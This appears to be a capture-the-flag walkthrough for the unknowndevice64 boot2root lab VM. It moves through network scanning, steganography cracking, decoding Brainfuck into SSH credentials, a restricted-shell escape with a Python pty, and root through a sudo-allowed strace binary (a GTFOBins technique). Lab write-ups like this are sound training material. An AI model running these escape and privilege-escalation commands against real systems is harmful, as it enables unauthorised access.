Fresh install of Arch

Intro

Description: unknowndevice64 v1.0 is a medium level boot2root challenge. The OVA has been tested on both VMware and Virtual Box.

Difficulty: Intermediate

Flags: Your Goal is to get root and read /root/flag.txt

Networking:

DHCP: Enabled
IP Address: Automatically assigned

Hint: Follow your intuitions … and enumerate! and for any questions, feel free to contact me on Twitter: @unknowndevice64

Happy Hacking..!!!

Scan

netdiscover

192.168.0.40

nmap

nmap 192.168.0.40 -sV -p-

python http server

In the source code we can found this picture.

http://192.168.0.40:31337/key_is_h1dd3n.jpg
It’s interesting, I will do someting on it later.

nikto

nothing interesting

Metadata

dentify -verbose key_is_h1dd3n.jpg

Nothing interesting

file key_is_h1dd3n.jpg

key_is_h1dd3n.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, components 1

Crack key_is_h1dd3n.jpg

I use this tool.
https://github.com/Paradoxis/StegCracker

echo "h1dd3n" > ahhh.txt  
stegcracker key_is_h1dd3n.jpg ahhh.txt 

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++++++++++++++.—————–.<—————-.–.++++++.———.>———————–.<<+++.++.>+++++.–.++++++++++++.>++++++++++++++++++++++++++++++++++++++++.—————–.

This is the output, the password was h1dd3n, it’s write in the file name lol.

decoder detector

https://www.dcode.fr/identification-chiffrement

I have to use brainfuck.

Decode brainfuck

Seriously, I was stuck on this web page for 2 minutes because I was unable to see the output on the left…

ud64:1M!#64@ud

ssh

ssh ud64@192.168.0.40 -p 1337

password:
1M!#64@ud

It’s broken everywhere.
-rbash: /bin/ls: restricted: cannot specify `/‘ in command names
But I can use vi.

$PATH

The PATH variable is almost empty.

ud64@unknowndevice64_v1:~$ echo $PATH
/home/ud64/prog
ud64@unknowndevice64_v1:~$ export PATH=$PATH:/usr/local/bin
-rbash: PATH: readonly variable

There is something in prog.
I use TAB to show what is in the directory.

ud64@unknowndevice64_v1:~$ ls 
.bash_history  .screenrc      Downloads/     Public/        web/           
.bash_profile  Desktop/       Music/         Videos/        
.config/       Documents/     Pictures/      prog/          
ud64@unknowndevice64_v1:~$ ls prog/
date    id      vi      whoami  

I have edited the .bash_profile to change the PATH.

PATH=$HOME/prog:/usr/local/bin:/usr/bin:/bin

Some commands still don’t work but it’s good for python

python -c 'import pty; pty.spawn("/bin/bash")'

Now everything is working.

sudo -l

ud64@unknowndevice64_v1:~$ sudo -l
User ud64 may run the following commands on unknowndevice64_v1:
    (ALL) NOPASSWD: /usr/bin/sysud64

Let’s try it.

sudo /usr/bin/sysud64 su

Oh god, it’s broken everywhere, but I’m root, gg wp.

sysud64

ud64@unknowndevice64_v1:~$ sudo /usr/bin/sysud64 -V
strace -- version 4.22
Copyright (c) 1991-2018 The strace developers <https://strace.io>.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Optional features enabled: stack-unwind stack-demangle m32-mpers mx32-mpers

It’s strace. let’s see in gtfobin what we can do.
https://gtfobins.github.io/gtfobins/strace/
strace -o /dev/null /bin/sh
So for me it will be:

sudo /usr/bin/sysud64 -o /dev/null /bin/sh

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